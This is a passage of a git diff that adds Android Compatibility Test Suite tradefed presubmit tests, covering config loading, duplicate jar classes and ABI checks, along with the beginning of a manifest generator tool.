+        File[] listConfig = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.endsWith(".config")) {
+                    return true;
+                }
+                return false;
+            }
+        });
+        assertTrue(listConfig.length > 0);
+        // Create a FolderBuildInfo to similate the CompatibilityBuildProvider
+        FolderBuildInfo stubFolder = new FolderBuildInfo("-1", "-1");
+        stubFolder.setRootDir(new File(ctsRoot));
+        stubFolder.addBuildAttribute(CompatibilityBuildHelper.SUITE_NAME, "CTS");
+        stubFolder.addBuildAttribute("ROOT_DIR", ctsRoot);
+        TestInformation stubTestInfo = TestInformation.newBuilder().build();
+        stubTestInfo.executionFiles().put(FilesKey.TESTS_DIRECTORY, new File(ctsRoot));
+
+        List<String> missingMandatoryParameters = new ArrayList<>();
+        // We expect to be able to load every single config in testcases/
+        for (File config : listConfig) {
+            IConfiguration c = ConfigurationFactory.getInstance()
+                    .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+            // Ensure the deprecated ApkInstaller is not used anymore.
+            for (ITargetPreparer prep : c.getTargetPreparers()) {
+                if (prep.getClass().isAssignableFrom(ApkInstaller.class)) {
+                    throw new ConfigurationException(
+                            String.format("%s: Use com.android.tradefed.targetprep.suite."
+                                    + "SuiteApkInstaller instead of com.android.compatibility."
+                                    + "common.tradefed.targetprep.ApkInstaller, options will be "
+                                    + "the same.", config));
+                }
+                if (prep.getClass().isAssignableFrom(PreconditionPreparer.class)) {
+                    throw new ConfigurationException(
+                            String.format(
+                                    "%s: includes a PreconditionPreparer (%s) which is not allowed"
+                                            + " in modules.",
+                                    config.getName(), prep.getClass()));
+                }
+            }
+            // We can ensure that Host side tests are not empty.
+            for (IRemoteTest test : c.getTests()) {
+                // Check that all the tests runners are well supported.
+                if (!SUPPORTED_CTS_TEST_TYPE.contains(test.getClass().getCanonicalName())) {
+                    throw new ConfigurationException(
+                            String.format(
+                                    "testtype %s is not officially supported by CTS. "
+                                            + "The supported ones are: %s",
+                                    test.getClass().getCanonicalName(), SUPPORTED_CTS_TEST_TYPE));
+                }
+                if (test instanceof HostTest) {
+                    HostTest hostTest = (HostTest) test;
+                    // We inject a made up folder so that it can find the tests.
+                    hostTest.setBuild(stubFolder);
+                    hostTest.setTestInformation(stubTestInfo);
+                    int testCount = hostTest.countTestCases();
+                    if (testCount == 0) {
+                        throw new ConfigurationException(
+                                String.format("%s: %s reports 0 test cases.",
+                                        config.getName(), test));
+                    }
+                }
+                // Tests are expected to implement that interface.
+                if (!(test instanceof ITestFilterReceiver)) {
+                    throw new IllegalArgumentException(String.format(
+                            "Test in module %s must implement ITestFilterReceiver.",
+                            config.getName()));
+                }
+                // Ensure that the device runner is the AJUR one if explicitly specified.
+                if (test instanceof AndroidJUnitTest) {
+                    AndroidJUnitTest instru = (AndroidJUnitTest) test;
+                    if (instru.getRunnerName() != null &&
+                            !ALLOWED_INSTRUMENTATION_RUNNER_NAME.contains(instru.getRunnerName())) {
+                        // Some runner are exempt
+                        if (!RUNNER_EXCEPTION.contains(instru.getRunnerName())) {
+                            throw new ConfigurationException(
+                                    String.format("%s: uses '%s' instead of on of '%s' that are "
+                                            + "expected", config.getName(), instru.getRunnerName(),
+                                            ALLOWED_INSTRUMENTATION_RUNNER_NAME));
+                        }
+                    }
+                }
+            }
+            ConfigurationDescriptor cd = c.getConfigurationDescription();
+            Assert.assertNotNull(config + ": configuration descriptor is null", cd);
+            List<String> component = cd.getMetaData(METADATA_COMPONENT);
+            Assert.assertNotNull(String.format("Missing module metadata field \"component\", "
+                    + "please add the following line to your AndroidTest.xml:\n"
+                    + "<option name=\"config-descriptor:metadata\" key=\"component\" "
+                    + "value=\"...\" />\nwhere \"value\" must be one of: %s\n"
+                    + "config: %s", KNOWN_COMPONENTS, config),
+                    component);
+            Assert.assertEquals(String.format("Module config contains more than one \"component\" "
+                    + "metadata field: %s\nconfig: %s", component, config),
+                    1, component.size());
+            String cmp = component.get(0);
+            Assert.assertTrue(String.format("Module config contains unknown \"component\" metadata "
+                    + "field \"%s\", supported ones are: %s\nconfig: %s",
+                    cmp, KNOWN_COMPONENTS, config), KNOWN_COMPONENTS.contains(cmp));
+
+            if ("misc".equals(cmp)) {
+                String configFileName = config.getName();
+                Assert.assertTrue(
+                        String.format(
+                                "Adding new module %s to \"misc\" component is restricted, "
+                                        + "please pick a component that your module fits in",
+                                configFileName),
+                        KNOWN_MISC_MODULES.contains(configFileName));
+            }
+
+            // Check that specified parameters are expected
+            boolean res =
+                    checkModuleParameters(
+                            config.getName(), cd.getMetaData(ITestSuite.PARAMETER_KEY));
+            if (!res) {
+                missingMandatoryParameters.add(config.getName());
+            }
+            // Check that specified tokens are expected
+            checkTokens(config.getName(), cd.getMetaData(ITestSuite.TOKEN_KEY));
+
+            // Ensure each CTS module is tagged with <option name="test-suite-tag" value="cts" />
+            Assert.assertTrue(String.format(
+                    "Module config %s does not contains "
+                    + "'<option name=\"test-suite-tag\" value=\"cts\" />'", config.getName()),
+                    cd.getSuiteTags().contains("cts"));
+
+            // Check not-shardable: JarHostTest cannot create empty shards so it should never need
+            // to be not-shardable.
+            if (cd.isNotShardable()) {
+                for (IRemoteTest test : c.getTests()) {
+                    if (test.getClass().isAssignableFrom(JarHostTest.class)) {
+                        throw new ConfigurationException(
+                                String.format("config: %s. JarHostTest does not need the "
+                                    + "not-shardable option.", config.getName()));
+                    }
+                }
+            }
+            // Ensure options have been set
+            c.validateOptions();
+        }
+
+        // Exempt the allow list
+        missingMandatoryParameters.removeAll(ALLOWLIST_MODULE_PARAMETERS);
+        // Ensure the mandatory fields are filled
+        if (!missingMandatoryParameters.isEmpty()) {
+            String msg =
+                    String.format(
+                            "The following %s modules are missing some of the mandatory "
+                                    + "parameters [instant_app, not_instant_app, "
+                                    + "multi_abi, not_multi_abi, "
+                                    + "secondary_user, not_secondary_user]: '%s'",
+                            missingMandatoryParameters.size(), missingMandatoryParameters);
+            throw new ConfigurationException(msg);
+        }
+    }
+
+    /** Test that all parameter metadata can be resolved. */
+    private boolean checkModuleParameters(String configName, List<String> parameters)
+            throws ConfigurationException {
+        if (parameters == null) {
+            return false;
+        }
+        Map<String, Boolean> families = createFamilyCheckMap();
+        for (String param : parameters) {
+            try {
+                ModuleParameters p = ModuleParameters.valueOf(param.toUpperCase());
+                if (families.containsKey(p.getFamily())) {
+                    families.put(p.getFamily(), true);
+                }
+            } catch (IllegalArgumentException e) {
+                throw new ConfigurationException(
+                        String.format("Config: %s includes an unknown parameter '%s'.",
+                                configName, param));
+            }
+        }
+        if (families.containsValue(false)) {
+            return false;
+        }
+        return true;
+    }
+
+    /** Test that all tokens can be resolved. */
+    private void checkTokens(String configName, List<String> tokens) throws ConfigurationException {
+        if (tokens == null) {
+            return;
+        }
+        for (String token : tokens) {
+            try {
+                TokenProperty.valueOf(token.toUpperCase());
+            } catch (IllegalArgumentException e) {
+                throw new ConfigurationException(
+                        String.format(
+                                "Config: %s includes an unknown token '%s'.", configName, token));
+            }
+        }
+    }
+
+    private Map<String, Boolean> createFamilyCheckMap() {
+        Map<String, Boolean> families = new HashMap<>();
+        for (String family : MANDATORY_PARAMETERS_FAMILY) {
+            families.put(family, false);
+        }
+        return families;
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java
new file mode 100644
index 0000000..c4055ef
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/DupFileTest.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.config.ConfigurationException;
+
+import com.google.common.collect.ImmutableSet;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.LinkedHashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+
+/**
+ * Test to check for duplicate files in different jars and prevent the same dependencies of being
+ * included several time (which might result in version conflicts).
+ */
+@RunWith(JUnit4.class)
+public class DupFileTest {
+
+    // We ignore directories part of the common java and google packages.
+    private static final String[] IGNORE_DIRS =
+            new String[] {
+                "android/",
+                "javax/annotation/",
+                "com/google/protobuf/",
+                "kotlin/",
+                "perfetto/protos/"
+            };
+    // Temporarily exclude some Tradefed jar while we work on unbundling them.
+    private static final Set<String> IGNORE_JARS =
+            ImmutableSet.of("tradefed-no-fwk.jar", "tradefed-test-framework.jar",
+                    "compatibility-tradefed.jar");
+
+    /** test if there are duplicate files in different jars. */
+    @Test
+    public void testDupFilesExist() throws Exception {
+        // Get list of jars.
+        List<File> jars = getListOfBuiltJars();
+
+        // Create map of files to jars.
+        Map<String, List<String>> filesToJars = getMapOfFilesAndJars(jars);
+
+        // Check if there are any files with the same name in diff jars.
+        int dupedFiles = 0;
+        StringBuilder dupedFilesSummary = new StringBuilder();
+        for (Map.Entry<String, List<String>> entry : filesToJars.entrySet()) {
+            String file = entry.getKey();
+            List<String> jarFiles = entry.getValue();
+
+            if (jarFiles.size() != 1) {
+                dupedFiles++;
+                dupedFilesSummary.append(file + ": " + jarFiles.toString() + "\n");
+            }
+        }
+
+        if (dupedFiles != 0) {
+            fail(
+                    String.format(
+                            "%d files are duplicated in different jars:\n%s",
+                            dupedFiles, dupedFilesSummary.toString()));
+        }
+    }
+
+    /** Create map of file to jars */
+    private Map<String, List<String>> getMapOfFilesAndJars(List<File> jars) throws IOException {
+        Map<String, List<String>> map = new LinkedHashMap<String, List<String>>();
+        JarFile jarFile;
+        List<String> jarFileList;
+        // Map all the files from all the jars.
+        for (File jar : jars) {
+            if (IGNORE_JARS.contains(jar.getName())) {
+                continue;
+            }
+            jarFile = new JarFile(jar);
+            jarFileList = getListOfFiles(jarFile);
+            jarFile.close();
+
+            // Add in the jar file to the map.
+            for (String file : jarFileList) {
+                if (!map.containsKey(file)) {
+                    map.put(file, new LinkedList<String>());
+                }
+
+                map.get(file).add(jar.getName());
+            }
+        }
+        return map;
+    }
+
+    /** Get the list of jars specified in the path. */
+    private List<File> getListOfBuiltJars() throws ConfigurationException {
+        String classpathStr = System.getProperty("java.class.path");
+        if (classpathStr == null) {
+            throw new ConfigurationException(
+                    "Could not find the classpath property: java.class.path");
+        }
+        List<File> listOfJars = new ArrayList<File>();
+        for (String jar : classpathStr.split(":")) {
+            File jarFile = new File(jar);
+            if (jarFile.exists()) {
+                listOfJars.add(jarFile);
+            }
+        }
+        return listOfJars;
+    }
+
+    /** Return the list of files in the jar. */
+    private List<String> getListOfFiles(JarFile jar) {
+        List<String> files = new ArrayList<String>();
+        Enumeration<JarEntry> e = jar.entries();
+        while (e.hasMoreElements()) {
+            JarEntry entry = e.nextElement();
+            String filename = entry.getName();
+            if (checkThisFile(filename)) {
+                files.add(filename);
+            }
+        }
+        return files;
+    }
+
+    /** Check if we should add this file to list of files. We only want to check for classes. */
+    private Boolean checkThisFile(String filename) {
+        if (!filename.endsWith(".class")) {
+            return false;
+        }
+
+        for (String skipDir : IGNORE_DIRS) {
+            if (filename.startsWith(skipDir)) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java
new file mode 100644
index 0000000..4eb48fc
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/PresubmitSetupValidation.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfigurationFactory;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import junit.framework.TestCase;
+
+/**
+ * Tests that validate the CTS presubmit setup to ensure no CL will break the presubmit setup
+ * itself.
+ */
+public class PresubmitSetupValidation extends TestCase {
+    private static final String PRESUBMIT_CTS_UNIT_TESTS = "cts-unit-tests";
+
+    /**
+     * Test that the base cts unit tests configuration is still working, and has a reporter
+     * template placeholder.
+     */
+    public void testCtsPresubmit_unit_tests() {
+        IConfigurationFactory factory = ConfigurationFactory.getInstance();
+        String[] presubmitCommand = {PRESUBMIT_CTS_UNIT_TESTS, "--template:map", "reporters=empty"};
+        try {
+            factory.createConfigurationFromArgs(presubmitCommand);
+        } catch (ConfigurationException e) {
+            CLog.e(e);
+            fail(String.format("ConfigException '%s': One of your change is breaking the presubmit "
+                    + "CTS unit tests configuration.", e.getMessage()));
+        }
+    }
+
+    /**
+     * Test to ensure that Zip dependency on the Apache Commons Compress coming from TradeFed is
+     * properly setup. This dependency is required for some utilities of TradeFed to work.
+     */
+    public void testDependencyCommonsCompress() throws Exception {
+        ClassLoader loader = ClassLoader.getSystemClassLoader();
+        // This will throw an exception if dependency isn't met.
+        loader.loadClass("org.apache.commons.compress.archivers.zip.ZipFile");
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
new file mode 100644
index 0000000..9fd38ad
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
+import com.android.tradefed.util.AaptParser;
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+/**
+ * Tests to validate that the build is containing usable test artifact.
+ */
+@RunWith(JUnit4.class)
+public class ValidateTestsAbi {
+
+    private static final Set<String> MODULE_EXCEPTIONS = new HashSet<>();
+    static {
+        /**
+         *  This particular module is shipping all its dependencies in all abis with prebuilt stuff.
+         *  Excluding it for now to have the test setup.
+         */
+        MODULE_EXCEPTIONS.add("CtsSplitApp");
+
+        /**
+         *  This module tests for security vulnerabilities when installing attacker-devised APKs.
+         */
+        MODULE_EXCEPTIONS.add("CtsCorruptApkTests");
+
+        /**
+         * This module tests for installations of packages that have only 32-bit native libraries
+         * and extract native libraries.
+         */
+        MODULE_EXCEPTIONS.add("CtsExtractNativeLibsAppTrue32");
+
+        /**
+         * This module tests for installations of packages that have only 64-bit native libraries
+         * and extract native libraries.
+         */
+        MODULE_EXCEPTIONS.add("CtsExtractNativeLibsAppTrue64");
+        /**
+         * This module tests for installations of packages that have only 32-bit native libraries
+         * and embed native libraries.
+         */
+        MODULE_EXCEPTIONS.add("CtsExtractNativeLibsAppFalse32");
+
+        /**
+         * This module tests for installations of packages that have only 64-bit native libraries
+         * and embed native libraries.
+         */
+        MODULE_EXCEPTIONS.add("CtsExtractNativeLibsAppFalse64");
+    }
+
+    private static final Set<String> BINARY_EXCEPTIONS = new HashSet<>();
+    static {
+        /**
+         * This binary is a host side helper, so we do not need to check it.
+         */
+        BINARY_EXCEPTIONS.add("sepolicy-analyze");
+    }
+
+    /**
+     * Test that all apks have the same supported abis.
+     * Sometimes, if a module is missing LOCAL_MULTILIB := both, we will end up with only one of
+     * the two abis required and the second one will fail.
+     */
+    @Test
+    public void testApksAbis() {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
+        File[] listApks = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                for (String module : MODULE_EXCEPTIONS) {
+                    if (name.startsWith(module)) {
+                        return false;
+                    }
+                }
+
+                return name.endsWith(".apk");
+            }
+        });
+        assertTrue(listApks.length > 0);
+        int maxAbi = 0;
+        Map<String, Integer> apkToAbi = new HashMap<>();
+
+        for (File testApk : listApks) {
+            AaptParser result = AaptParser.parse(testApk);
+            // Retry as we have seen flake with aapt sometimes.
+            if (result == null) {
+                for (int i = 0; i < 2; i++) {
+                    result = AaptParser.parse(testApk);
+                    if (result != null) {
+                        break;
+                    }
+                }
+                // If still couldn't parse the apk
+                if (result == null) {
+                    fail(String.format("Fail to run 'aapt dump badging %s'",
+                            testApk.getAbsolutePath()));
+                }
+            }
+            // We only check the apk that have native code
+            if (!result.getNativeCode().isEmpty()) {
+                List<String> supportedAbiApk = result.getNativeCode();
+                Set<String> buildTarget = AbiUtils.getAbisForArch(
+                        TestSuiteInfo.getInstance().getTargetArchs().get(0));
+                // first check, all the abis are supported
+                for (String abi : supportedAbiApk) {
+                    if (!buildTarget.contains(abi)) {
+                        fail(String.format("apk %s %s does not support our abis [%s]",
+                                testApk.getName(), supportedAbiApk, buildTarget));
+                    }
+                }
+                apkToAbi.put(testApk.getName(), supportedAbiApk.size());
+                maxAbi = Math.max(maxAbi, supportedAbiApk.size());
+            }
+        }
+
+        // We do a second pass to make sure nobody is short on abi
+        for (Entry<String, Integer> apk : apkToAbi.entrySet()) {
+            if (apk.getValue() < maxAbi) {
+                fail(String.format("apk %s only has %s abi when it should have %s", apk.getKey(),
+                        apk.getValue(), maxAbi));
+            }
+        }
+    }
+
+    /**
+     * Test that when CTS has multiple abis, we have binary for each ABI. In this case the abi will
+     * be the same with different bitness (only case supported by build system).
+     * <p/>
+     * If there is only one bitness, then we check that it's the right one.
+     */
+    @Test
+    public void testBinariesAbis() {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exist", testcases));
+            return;
+        }
+        String[] listBinaries = testcases.list(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.contains(".")) {
+                    return false;
+                }
+                if (BINARY_EXCEPTIONS.contains(name)) {
+                    return false;
+                }
+                File file = new File(dir, name);
+                if (file.isDirectory()) {
+                    return false;
+                }
+                if (!file.canExecute()) {
+                    return false;
+                }
+                return true;
+            }
+        });
+        assertTrue(listBinaries.length > 0);
+        List<String> orderedList = Arrays.asList(listBinaries);
+        // we sort to have binary starting with same name, next to each other. The last two
+        // characters of their name with be the bitness (32 or 64).
+        Collections.sort(orderedList);
+        Set<String> buildTarget = AbiUtils.getAbisForArch(
+                TestSuiteInfo.getInstance().getTargetArchs().get(0));
+        // We expect one binary per abi of CTS, they should be appended with 32 or 64
+        for (int i = 0; i < orderedList.size(); i=i + buildTarget.size()) {
+            List<String> subSet = orderedList.subList(i, i + buildTarget.size());
+            if (subSet.size() > 1) {
+                String base = subSet.get(0).substring(0, subSet.get(0).length() - 2);
+                for (int j = 0; j < subSet.size(); j++) {
+                    assertEquals(base, subSet.get(j).substring(0, subSet.get(j).length() - 2));
+                }
+            } else {
+                String bitness = AbiUtils.getBitness(buildTarget.iterator().next());
+                assertTrue(subSet.get(i).endsWith(bitness));
+            }
+        }
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
new file mode 100644
index 0000000..8bab842
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsTradefedTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.tradefed;
+
+import static org.junit.Assert.assertEquals;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.util.FileUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+/**
+ * Tests for cts-tradefed.
+ */
+@RunWith(JUnit4.class)
+public class CtsTradefedTest {
+
+    private static final String PROPERTY_NAME = "CTS_ROOT";
+    private static final String SUITE_FULL_NAME = "Compatibility Test Suite";
+    private static final String SUITE_NAME = "CTS";
+    private static final String SUITE_PLAN = "cts";
+    private static final String DYNAMIC_CONFIG_URL = "";
+
+    private String mOriginalProperty = null;
+
+    @Before
+    public void setUp() throws Exception {
+        mOriginalProperty = System.getProperty(PROPERTY_NAME);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mOriginalProperty != null) {
+            System.setProperty(PROPERTY_NAME, mOriginalProperty);
+        }
+    }
+
+    @Test
+    public void testSuiteInfoLoad() throws Exception {
+        // Test the values in the manifest can be loaded
+        File root = FileUtil.createTempDir("root");
+        System.setProperty(PROPERTY_NAME, root.getAbsolutePath());
+        File base = new File(root, "android-cts");
+        base.mkdirs();
+        File tests = new File(base, "testcases");
+        tests.mkdirs();
+        CompatibilityBuildProvider provider = new CompatibilityBuildProvider();
+        OptionSetter setter = new OptionSetter(provider);
+        setter.setOptionValue("plan", SUITE_PLAN);
+        setter.setOptionValue("dynamic-config-url", DYNAMIC_CONFIG_URL);
+        IBuildInfo info = provider.getBuild();
+        CompatibilityBuildHelper helper = new CompatibilityBuildHelper(info);
+        assertEquals("Incorrect suite full name", SUITE_FULL_NAME, helper.getSuiteFullName());
+        assertEquals("Incorrect suite name", SUITE_NAME, helper.getSuiteName());
+        FileUtil.recursiveDelete(root);
+    }
+}
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsUnitTests.java b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsUnitTests.java
new file mode 100644
index 0000000..d989014
--- /dev/null
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/tradefed/CtsUnitTests.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.tradefed;
+
+import com.android.compatibility.common.tradefed.presubmit.ApkPackageNameCheck;
+import com.android.compatibility.common.tradefed.presubmit.CtsConfigLoadingTest;
+import com.android.compatibility.common.tradefed.presubmit.DupFileTest;
+import com.android.compatibility.common.tradefed.presubmit.PresubmitSetupValidation;
+import com.android.compatibility.common.tradefed.presubmit.ValidateTestsAbi;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
+
+/**
+ * A test suite for all compatibility tradefed unit tests.
+ *
+ * <p>All tests listed here should be self-contained, and do not require any external dependencies.
+ */
+@RunWith(Suite.class)
+@SuiteClasses({
+    // base
+    CtsTradefedTest.class,
+
+    // presubmit
+    ApkPackageNameCheck.class,
+    CtsConfigLoadingTest.class,
+    DupFileTest.class,
+    PresubmitSetupValidation.class,
+    ValidateTestsAbi.class,
+})
+public class CtsUnitTests {
+    // Empty on purpose
+}
diff --git a/tools/manifest-generator/Android.bp b/tools/manifest-generator/Android.bp
new file mode 100644
index 0000000..9d6cdb8
--- /dev/null
+++ b/tools/manifest-generator/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_host {
+    name: "compatibility-manifest-generator",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: ["kxml2-2.3.0"],
+
+    manifest: "MANIFEST.mf",
+
+    use_tools_jar: true,
+}
diff --git a/tools/manifest-generator/MANIFEST.mf b/tools/manifest-generator/MANIFEST.mf
new file mode 100644
index 0000000..4f62631
--- /dev/null
+++ b/tools/manifest-generator/MANIFEST.mf
@@ -0,0 +1,2 @@
+Manifest-Version: 1.0
+Main-Class: com.android.compatibility.common.generator.ManifestGenerator
diff --git a/tools/manifest-generator/src/com/android/compatibility/common/generator/ManifestGenerator.java b/tools/manifest-generator/src/com/android/compatibility/common/generator/ManifestGenerator.java
new file mode 100644
index 0000000..c78723f
--- /dev/null
+++ b/tools/manifest-generator/src/com/android/compatibility/common/generator/ManifestGenerator.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.generator;
+
+import java.io.FileOutputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.kxml2.io.KXmlSerializer;
+
+public class ManifestGenerator {
+
+    private static final String DEFAULT_MIN_SDK = "8";
+
+    private static final String USAGE =
+            "Usage: manifest-generator -n NAME -p PACKAGE_NAME -o OUTPUT_FILE -i INSTRUMENT_NAME "
+                    + "[-s MIN_SDK_VERSION] [-t TARGET_SDK_VERSION] [-r PERMISSION]+ "
+                    + "[-a ACTIVITY]+ [-l REQUIRED_LIBRARY]+ [-lo OPTIONAL_LIBRARY]+";
+    private static final String MANIFEST = "manifest";
+    private static final String USES_SDK = "uses-sdk";
+    private static final String USES_PERMISSION = "uses-permission";
+    private static final String APPLICATION = "application";
+    private static final String INSTRUMENTATION = "instrumentation";
+    private static final String ACTIVITY = "activity";
+    private static final String USES_LIBRARY = "uses-library";
+
+    public static void main(String[] args) {
+        String pkgName = null;
+        String instrumentName = null;
+        String minSdk = DEFAULT_MIN_SDK;
+        String targetSdk = null;
+        List<String> permissions = new ArrayList<>();
+        List<String> activities = new ArrayList<>();
+        List<String> libraries = new ArrayList<>();
+        List<String> optionalLibs = new ArrayList<>();
+        String output = null;
+
+        for (int i = 0; i < args.length - 1; i++) {
+            if (args[i].equals("-p")) {
+                pkgName = args[++i];
+            } else if (args[i].equals("-a")) {
+                activities.add(args[++i]);
+            } else if (args[i].equals("-l")) {
+                libraries.add(args[++i]);
+            } else if (args[i].equals("-lo")) {
+                optionalLibs.add(args[++i]);
+            } else if (args[i].equals("-o")) {
+                output = args[++i];
+            } else if (args[i].equals("-i")) {
+                instrumentName = args[++i];
+            } else if (args[i].equals("-r")) {
+                permissions.add(args[++i]);
+            } else if (args[i].equals("-s")) {
+                minSdk = args[++i];
+            } else if (args[i].equals("-t")) {
+                targetSdk = args[++i];
+            }
+        }
+
